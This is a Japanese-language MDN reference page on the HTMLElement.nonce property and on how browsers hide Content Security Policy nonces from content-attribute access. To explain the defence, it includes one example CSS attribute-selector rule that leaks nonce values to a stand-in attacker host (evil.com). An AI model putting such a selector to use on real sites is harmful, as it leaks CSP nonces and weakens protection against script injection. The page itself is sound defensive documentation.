--- title: HTMLElement.nonce slug: Web/API/HTMLElement/nonce tags: - API - Content Security Policy - Experimental - HTML DOM - HTMLElement - Property - Reference - nonce translation_of: Web/API/HTMLElement/nonce original_slug: Web/API/HTMLElement/nonce ---
nonce
は {{DOMxRef("HTMLElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。
後の実装では、 nonce
属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。
以前は、すべてのブラウザーが IDL 属性の nonce
に対応しているわけではなかったので、回避策としては、代替として getAttribute
を使用するようにしていました。
let nonce = script['nonce'] || script.getAttribute('nonce');
しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce
の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']
) がノンスにアクセスする唯一の方法となります。
ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。
script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }
仕様書 |
---|
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}} |
{{Compat("api.HTMLElement.nonce")}}
nonce
グローバル属性